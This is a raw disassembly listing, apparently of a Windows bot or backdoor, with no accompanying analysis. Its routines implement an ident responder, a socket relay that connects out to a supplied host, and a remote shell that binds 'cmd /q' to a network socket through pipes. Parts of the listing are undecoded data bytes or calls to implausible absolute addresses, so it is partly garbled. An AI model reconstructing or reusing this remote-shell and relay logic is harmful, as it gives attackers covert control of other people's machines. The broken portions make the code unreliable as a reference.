		mov	eax, [ebp+var_23C]
		imul	eax, 234h
		mov	ecx, [ebp+var_14]
		mov	dword_454624[eax], ecx
		push	10h
		lea	eax, [ebp+var_234]
		push	eax
		push	[ebp+var_14]
		call	dword_4E172C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_415D64
		push	5
		push	[ebp+var_14]
		call	dword_4E1728	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_415D64
		mov	[ebp+var_240], 10h


loc_415C6B:				; CODE XREF: sub_415BB9:loc_415D5Fj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_415D64
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_14]
		call	dword_4E1794	; accept
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_415C98
		jmp	loc_415D64
; ---------------------------------------------------------------------------


loc_415C98:				; CODE XREF: sub_415BB9+D8j
		movzx	eax, [ebp+var_22]
		push	eax
		push	[ebp+var_20]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset dword_44C0AC
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	0
		push	200h
		lea	eax, [ebp+var_224]
		push	eax
		push	[ebp+var_10]
		call	dword_4E1718	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415D5F
		push	0
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_41A280
		pop	ecx
		pop	ecx
		push	0Ch
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	0
		push	2
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40CE78
		add	esp, 10h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		push	200h
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	[ebp+var_10]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_415D5F
		mov	[ebp+var_238], 1


loc_415D5F:				; CODE XREF: sub_415BB9+129j
					; sub_415BB9+19Aj
		jmp	loc_415C6B
; ---------------------------------------------------------------------------


loc_415D64:				; CODE XREF: sub_415BB9+5Ej
					; sub_415BB9+8Ej ...
		cmp	[ebp+var_238], 0
		jnz	short loc_415D95
		call	dword_4E1694	; WSAGetLastError
		push	eax
		push	offset dword_44C0F0
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_415D95:				; CODE XREF: sub_415BB9+1B2j
		push	[ebp+var_14]
		call	dword_4E1798	; closesocket
		push	[ebp+var_10]
		call	dword_4E1798	; closesocket
		push	[ebp+var_23C]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		leave
		retn	4
sub_415BB9	endp

; ---------------------------------------------------------------------------
byte_415DBF	db 55h			; DATA XREF: sub_4021E5+77A4o
		dd 0EC81EC8Bh, 35Ch, 758B5756h,	594A6A08h, 0FED0BD8Dh
		dd 0A5F3FFFFh, 8908458Bh, 0FFFCAC85h, 0AC858BFFh, 0C7FFFFFCh
		dd 12080h, 100h, 6A106A00h, 0B0858D00h,	50FFFFFEh, 0B60FE8h
		dd 0CC48300h, 0B085C766h, 2FFFFFEh, 0DC75FF00h,	170015FFh
		dd 8966004Eh, 0FFFEB285h, 0B4A583FFh, 0FFFFFEh,	0FCA885C7h
		dd 10FFFFh, 66A0000h, 26A016Ah,	178015FFh, 4589004Eh, 0FC7D83FCh
		dd 4E840FFFh, 8B000001h, 0C069E045h, 234h, 89FC4D8Bh, 45462488h
		dd 68016A00h, 401h, 75FF006Ah, 1015FFFCh, 6A004E16h, 0B0858D10h
		dd 50FFFFFEh, 0FFFC75FFh, 4E172C15h, 0FC08500h,	11085h
		dd 0FF0A6A00h, 15FFFC75h, 4E1728h, 850FC085h, 0FDh, 8558016Ah
		dd 0F2840FC0h, 8D000000h, 0FFFCA885h, 858D50FFh, 0FFFFFEC0h
		dd 0FC75FF50h, 179415FFh, 4589004Eh, 0F87D83F8h, 0C9840FFFh
		dd 8B000000h, 8589F845h, 0FFFFFED4h, 0F06583h, 0FE075FFh
		dd 0FEC285B7h, 0FF50FFFFh, 0FFFEC4B5h, 8C15FFFFh, 50004E17h
		dd 44C11C68h, 0B0858D00h, 50FFFFFCh, 0BAC3E8h, 14C48300h
		dd 6AF875FFh, 0B0858D18h, 50FFFFFCh, 0FF7419E8h, 0CC483FFh
		dd 8BE44589h, 0C069E445h, 234h,	89E04D8Bh, 45461C88h, 0A4858D00h
		dd 50FFFFFCh, 858D006Ah, 0FFFFFED0h, 5FBE6850h,	6A0041h
		dd 0E890006Ah, 239A69Ah, 69E44D8Bh, 234C9h, 2C818900h
		dd 8B004546h, 0C069E445h, 234h,	462CB883h, 74000045h, 0F07D8312h
		dd 6A0A7500h, 13E89032h, 0EB0239A5h, 9015EBF0h,	39AFFEE8h
		dd 64685002h, 0E80044C1h, 14E6h, 5EB5959h, 0FFFF03E9h
		dd 0F875FFFFh, 179815FFh, 75FF004Eh, 9815FFFCh,	0FF004E17h
		dd 53E8E075h, 59FFFF78h, 0E890006Ah, 241A048h, 0C2C95E5Fh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FBE	proc near

var_1354	= word ptr -1354h
var_1352	= word ptr -1352h
var_1350	= dword	ptr -1350h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= byte ptr -1338h
var_1334	= dword	ptr -1334h
var_1330	= byte ptr -1330h
var_1130	= byte ptr -1130h
var_1128	= byte ptr -1128h
var_1028	= dword	ptr -1028h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1354h
		call	sub_421EE0
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_1130]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1334],	eax
		mov	eax, [ebp+var_1334]
		mov	dword ptr [eax+120h], 1
		mov	eax, [ebp+var_101C]
		mov	[ebp+var_133C],	eax
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_416020
		jmp	loc_41624D
; ---------------------------------------------------------------------------


loc_416020:				; CODE XREF: sub_415FBE+5Bj
		push	10h
		push	0
		lea	eax, [ebp+var_1354]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_1354],	2
		push	[ebp+var_1028]
		call	dword_4E1700	; ntohs
		mov	[ebp+var_1352],	ax
		lea	eax, [ebp+var_1128]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0FFFFFFFFh
		jnz	short loc_416080
		lea	eax, [ebp+var_1128]
		push	eax
		call	dword_4E1784	; gethostbyname
		mov	[ebp+var_1340],	eax
		jmp	short loc_416097
; ---------------------------------------------------------------------------


loc_416080:				; CODE XREF: sub_415FBE+ABj
		push	2
		push	4
		lea	eax, [ebp+var_1344]
		push	eax
		call	dword_4E16B8	; gethostbyaddr
		mov	[ebp+var_1340],	eax


loc_416097:				; CODE XREF: sub_415FBE+C0j
		cmp	[ebp+var_1340],	0
		jnz	short loc_4160A5
		jmp	loc_41624D
; ---------------------------------------------------------------------------


loc_4160A5:				; CODE XREF: sub_415FBE+E0j
		mov	eax, [ebp+var_1340]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1350],	eax
		push	10h
		lea	eax, [ebp+var_1354]
		push	eax
		push	[ebp+var_1008]
		call	dword_4E16A8	; connect
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4160DB
		jmp	loc_41624D
; ---------------------------------------------------------------------------


loc_4160DB:				; CODE XREF: sub_415FBE+116j
		and	[ebp+var_100C],	0
		push	[ebp+var_1020]
		movzx	eax, [ebp+var_1352]
		push	eax
		push	[ebp+var_1350]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset unk_44C1A0
		lea	eax, [ebp+var_1330]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	[ebp+var_1008]
		push	18h
		lea	eax, [ebp+var_1330]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_101C],	eax
		mov	eax, [ebp+var_101C]
		imul	eax, 234h
		mov	ecx, [ebp+var_1020]
		mov	dword_45461C[eax], ecx
		mov	eax, [ebp+var_133C]
		imul	eax, 234h
		mov	ecx, [ebp+var_101C]
		imul	ecx, 234h
		mov	eax, dword_454624[eax]
		mov	dword_454628[ecx], eax
		lea	eax, [ebp+var_1338]
		push	eax
		push	0
		lea	eax, [ebp+var_1130]
		push	eax
		push	offset sub_41628B
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_101C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_101C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_4161C5


loc_4161B0:				; CODE XREF: sub_415FBE+203j
		cmp	[ebp+var_100C],	0
		jnz	short loc_4161C3
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4161B0
; ---------------------------------------------------------------------------


loc_4161C3:				; CODE XREF: sub_415FBE+1F9j
		jmp	short loc_4161DA
; ---------------------------------------------------------------------------


loc_4161C5:				; CODE XREF: sub_415FBE+1F0j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C1E4
		call	sub_417472
		pop	ecx
		pop	ecx
		jmp	short loc_41624D
; ---------------------------------------------------------------------------


loc_4161DA:				; CODE XREF: sub_415FBE:loc_4161C3j
					; sub_415FBE:loc_41624Bj
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_41624D
		push	1000h
		push	0
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		mov	eax, [ebp+var_133C]
		imul	eax, 234h
		push	dword_454624[eax]
		call	dword_4E1718	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jg	short loc_416228
		jmp	short loc_41624D
; ---------------------------------------------------------------------------


loc_416228:				; CODE XREF: sub_415FBE+266j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+var_1008]
		call	dword_4E1750	; send
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41624B
		jmp	short loc_41624D
; ---------------------------------------------------------------------------


loc_41624B:				; CODE XREF: sub_415FBE+289j
		jmp	short loc_4161DA
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: sub_415FBE+5Dj
					; sub_415FBE+E2j ...
		mov	eax, [ebp+var_133C]
		imul	eax, 234h
		push	dword_454624[eax]
		call	dword_4E1798	; closesocket
		push	[ebp+var_1008]
		call	dword_4E1798	; closesocket
		push	[ebp+var_133C]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
sub_415FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41628B	proc near		; DATA XREF: sub_415FBE+1BCo

var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= byte ptr -112Ch
var_1018	= dword	ptr -1018h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1134h
		call	sub_421EE0
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_112C]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1130],	eax
		mov	eax, [ebp+var_1130]
		mov	dword ptr [eax+124h], 1
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1134],	eax


loc_4162CD:				; CODE XREF: sub_41628B:loc_41634Aj
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_41634C
		push	1000h
		push	0
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		mov	eax, [ebp+var_1134]
		imul	eax, 234h
		push	dword_454628[eax]
		call	dword_4E1718	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jg	short loc_41631B
		jmp	short loc_41634C
; ---------------------------------------------------------------------------


loc_41631B:				; CODE XREF: sub_41628B+8Cj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_1004]
		push	eax
		mov	eax, [ebp+var_1134]
		imul	eax, 234h
		push	dword_454624[eax]
		call	dword_4E1750	; send
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41634A
		jmp	short loc_41634C
; ---------------------------------------------------------------------------


loc_41634A:				; CODE XREF: sub_41628B+BBj
		jmp	short loc_4162CD
; ---------------------------------------------------------------------------


loc_41634C:				; CODE XREF: sub_41628B+47j
					; sub_41628B+8Ej ...
		mov	eax, [ebp+var_1134]
		imul	eax, 234h
		push	dword_454628[eax]
		call	dword_4E1798	; closesocket
		push	[ebp+var_1134]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
sub_41628B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	dword ptr [ebp+8]
		call	sub_41655A
		pop	ecx
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0Ch
		and	dword ptr [ebp-14h], 0
		and	dword ptr [ebp-10h], 0
		mov	eax, [ebp+8]
		imul	eax, 234h
		mov	ecx, [ebp-1Ch]
		mov	eax, dword_454624[eax]
		mov	[ecx+0Ch], eax
		lea	eax, [ebp-20h]
		push	eax
		push	0
		push	dword ptr [ebp-1Ch]
		push	offset word_4167AE
		push	0
		lea	eax, [ebp-18h]
		push	eax
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp-1Ch]
		mov	[ecx+10h], eax
		mov	eax, [ebp-1Ch]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4163FE
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C224
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp-1Ch]
		or	dword ptr [eax+0Ch], 0FFFFFFFFh
		xor	eax, eax
		jmp	locret_416558
; ---------------------------------------------------------------------------


loc_4163FE:				; CODE XREF: .XComp0:004163DBj
		lea	eax, [ebp-20h]
		push	eax
		push	0
		push	dword ptr [ebp-1Ch]
		push	offset sub_4168DF
		push	0
		lea	eax, [ebp-18h]
		push	eax
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp-1Ch]
		mov	[ecx+14h], eax
		mov	eax, [ebp-1Ch]
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_416456
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C26C
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp-1Ch]
		or	dword ptr [eax+0Ch], 0FFFFFFFFh
		push	0
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+14h]
		nop
		call	near ptr 27E0D0Ah
		xor	eax, eax
		jmp	locret_416558
; ---------------------------------------------------------------------------


loc_416456:				; CODE XREF: .XComp0:00416425j
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+10h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+14h]
		mov	[ebp-8], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+8]
		mov	[ebp-4], eax
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp-0Ch]
		push	eax
		push	3
		nop
		call	near ptr 28A1CFEh
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_416498
		cmp	dword ptr [ebp-24h], 1
		jz	short loc_4164B6
		cmp	dword ptr [ebp-24h], 2
		jz	short loc_4164D4
		jmp	short loc_4164F2
; ---------------------------------------------------------------------------


loc_416498:				; CODE XREF: .XComp0:00416488j
		push	0
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+14h]
		nop
		call	near ptr 27E0D0Ah
		push	1
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+8]
		nop
		call	near ptr 28503F0h
		jmp	short loc_416505
; ---------------------------------------------------------------------------


loc_4164B6:				; CODE XREF: .XComp0:0041648Ej
		push	0
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+10h]
		nop
		call	near ptr 27E0D0Ah
		push	1
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+8]
		nop
		call	near ptr 28503F0h
		jmp	short loc_416505
; ---------------------------------------------------------------------------


loc_4164D4:				; CODE XREF: .XComp0:00416494j
		push	0
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+14h]
		nop
		call	near ptr 27E0D0Ah
		push	0
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+10h]
		nop
		call	near ptr 27E0D0Ah
		jmp	short loc_416505
; ---------------------------------------------------------------------------


loc_4164F2:				; CODE XREF: .XComp0:00416496j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C2B4
		call	sub_417472
		pop	ecx
		pop	ecx


loc_416505:				; CODE XREF: .XComp0:004164B4j
					; .XComp0:004164D2j ...
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+10h]
		call	near ptr 2790578h
		nop
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+14h]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+8]
		call	near ptr 2790578h
		nop
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+4]
		nop
		call	near ptr 2790578h
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax+0Ch]
		call	dword_4E1798	; closesocket
		push	dword ptr [ebp-1Ch]
		call	sub_41F930
		pop	ecx
		push	1
		pop	eax

locret_416558:				; CODE XREF: .XComp0:004163F9j
					; .XComp0:00416451j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41655A	proc near		; CODE XREF: .XComp0:00416387p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		and	[ebp+var_1C], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		push	18h
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_416584
		xor	eax, eax
		jmp	locret_4166B3
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: sub_41655A+21j
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+4], 0
		mov	[ebp+var_18], 0Ch
		and	[ebp+var_14], 0
		mov	[ebp+var_10], 1
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_1C]
		call	near ptr 2860000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4165D7
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C2E8
		call	sub_417472
		pop	ecx
		pop	ecx
		jmp	loc_4166B1
; ---------------------------------------------------------------------------


loc_4165D7:				; CODE XREF: sub_41655A+63j
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	near ptr 2860000h
		nop
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41660F
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44C328
		call	sub_417472
		pop	ecx
		pop	ecx
		jmp	loc_4166AF
; ---------------------------------------------------------------------------


loc_41660F:				; CODE XREF: sub_41655A+9Bj
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_C]
		call	sub_4166B5
		add	esp, 0Ch
		mov	ecx, [ebp+var_1C]
		mov	[ecx+8], eax
		push	[ebp+var_C]
		nop
		call	near ptr 2790578h
		push	[ebp+var_8]
		call	near ptr 2790578h
		nop
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41664E
		push	offset unk_44C368
		call	sub_4173DC
		pop	ecx
		jmp	short loc_4166AD
; ---------------------------------------------------------------------------


loc_41664E:				; CODE XREF: sub_41655A+E5j
		mov	eax, [ebp+var_1C]
		or	dword ptr [eax+0Ch], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		jmp	short locret_4166B3
; ---------------------------------------------------------------------------


loc_41665A:				; CODE XREF: sub_41655A:loc_4166ADj
					; sub_41655A:loc_4166AFj ...
		cmp	[ebp+var_C], 0
		jz	short loc_416669
		push	[ebp+var_C]
		call	near ptr 2790578h
		nop


loc_416669:				; CODE XREF: sub_41655A+104j
		cmp	[ebp+var_8], 0
		jz	short loc_416678
		push	[ebp+var_8]
		nop
		call	near ptr 2790578h


loc_416678:				; CODE XREF: sub_41655A+113j
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax], 0
		jz	short loc_41668B
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		call	near ptr 2790578h
		nop


loc_41668B:				; CODE XREF: sub_41655A+124j
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4166A0
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	near ptr 2790578h
		nop


loc_4166A0:				; CODE XREF: sub_41655A+138j
		push	[ebp+var_1C]
		call	sub_41F930
		pop	ecx
		xor	eax, eax
		jmp	short locret_4166B3
; ---------------------------------------------------------------------------


loc_4166AD:				; CODE XREF: sub_41655A+F2j
		jmp	short loc_41665A
; ---------------------------------------------------------------------------


loc_4166AF:				; CODE XREF: sub_41655A+B0j
		jmp	short loc_41665A
; ---------------------------------------------------------------------------


loc_4166B1:				; CODE XREF: sub_41655A+78j
		jmp	short loc_41665A
; ---------------------------------------------------------------------------

locret_4166B3:				; CODE XREF: sub_41655A+25j
					; sub_41655A+FEj ...
		leave
		retn
sub_41655A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166B5	proc near		; CODE XREF: sub_41655A+BEp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		and	[ebp+var_48], 0
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		and	[ebp+var_38], 0
		mov	[ebp+var_44], 44h
		and	[ebp+var_40], 0
		and	[ebp+var_38], 0
		and	[ebp+var_3C], 0
		and	[ebp+var_28], 0
		mov	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_34], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_12], 0
		mov	[ebp+var_18], 101h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		push	0
		push	1
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		call	near ptr 2850A56h
		nop
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 2850A56h
		push	eax
		nop
		call	near ptr 28504AFh
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset aCmdQ	; "cmd /q"
		push	0
		call	near ptr 2790973h
		nop
		test	eax, eax
		jz	short loc_416796
		mov	eax, [ebp+var_58]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_8]
		imul	eax, 234h
		mov	ecx, [ebp+var_50]
		mov	dword_454620[eax], ecx
		push	[ebp+var_54]
		nop
		call	near ptr 2790578h
		jmp	short loc_4167A9
; ---------------------------------------------------------------------------


loc_416796:				; CODE XREF: sub_4166B5+BCj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset dword_44C398
		call	sub_417472
		pop	ecx
		pop	ecx


loc_4167A9:				; CODE XREF: sub_4166B5+DFj
		mov	eax, [ebp+var_48]
		leave
		retn
sub_4166B5	endp

; ---------------------------------------------------------------------------
word_4167AE	dw 8B55h		; DATA XREF: .XComp0:004163BDo
		dd 0C4EC81ECh, 8B000001h, 85890845h, 0FFFFFE48h, 858D006Ah
		dd 0FFFFFE4Ch, 0C86850h, 858D0000h, 0FFFFFF38h,	48858B50h
		dd 0FFFFFFFEh, 1DE89030h, 85024398h, 0D4840FC0h, 80000000h
		dd 0FFFE40A5h, 0A58300FFh, 0FFFFFE3Ch, 44A58300h, 0FFFFFEh
		dd 858B0DEBh, 0FFFFFE3Ch, 3C858940h, 8BFFFFFEh,	0FFFE3C85h
		dd 4C853BFFh, 73FFFFFEh, 3C858B79h, 0FFFFFFEh, 380584BEh
		dd 83FFFFFFh, 27750AF8h, 4085B60Fh, 83FFFFFEh, 1B740DF8h
		dd 0FE44858Bh, 84C6FFFFh, 0FFFE5005h, 858B0DFFh, 0FFFFFE44h
		dd 44858940h, 8BFFFFFEh, 0FFFE4485h, 3C8D8BFFh,	8AFFFFFEh
		dd 0FF380D8Ch, 8C88FFFFh, 0FFFE5005h, 44858BFFh, 8AFFFFFEh
		dd 0FE500584h, 8588FFFFh, 0FFFFFE40h, 0FE44858Bh, 8940FFFFh
		dd 0FFFE4485h, 0FF6CE9FFh, 6AFFFFh, 0FE44B5FFh,	858DFFFFh
		dd 0FFFFFE50h, 48858B50h, 0FFFFFFFEh, 15FF0C70h, 4E1750h
		dd 27FC085h, 1E905EBh, 90FFFFFFh, 39A6BAE8h, 6DF88302h
		dd 0E8901374h, 239A6AFh, 0C3D06850h, 97E80044h,	5900000Bh
; ---------------------------------------------------------------------------
		pop	ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168DF	proc near		; DATA XREF: .XComp0:00416407o

var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= byte ptr -0E0h
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= byte ptr -0CCh
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0ECh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_E8], eax
		and	[ebp+var_EC], 0
		and	[ebp+var_D0], 0
		and	[ebp+var_E4], 0


loc_416906:				; CODE XREF: sub_4168DF+5Fj
					; sub_4168DF:loc_41697Dj ...
		push	0
		push	1
		lea	eax, [ebp+var_D8]
		push	eax
		mov	eax, [ebp+var_E8]
		push	dword ptr [eax+0Ch]
		call	dword_4E1718	; recv
		test	eax, eax
		jle	locret_416BD2
		cmp	[ebp+var_D0], 0
		jbe	short loc_416940
		mov	eax, [ebp+var_D0]
		dec	eax
		mov	[ebp+var_D0], eax
		jmp	short loc_416906
; ---------------------------------------------------------------------------


loc_416940:				; CODE XREF: sub_4168DF+50j
		movsx	eax, [ebp+var_D8]
		cmp	eax, 0FFh
		jz	short loc_416957
		and	[ebp+var_E4], 0
		jmp	short loc_41697F
; ---------------------------------------------------------------------------


loc_416957:				; CODE XREF: sub_4168DF+6Dj
		cmp	[ebp+var_E4], 0
		jnz	short loc_41696C
		mov	[ebp+var_E4], 1
		jmp	short loc_41697D
; ---------------------------------------------------------------------------


loc_41696C:				; CODE XREF: sub_4168DF+7Fj
		mov	[ebp+var_D0], 0Ah
		and	[ebp+var_E4], 0


loc_41697D:				; CODE XREF: sub_4168DF+8Bj
		jmp	short loc_416906
; ---------------------------------------------------------------------------


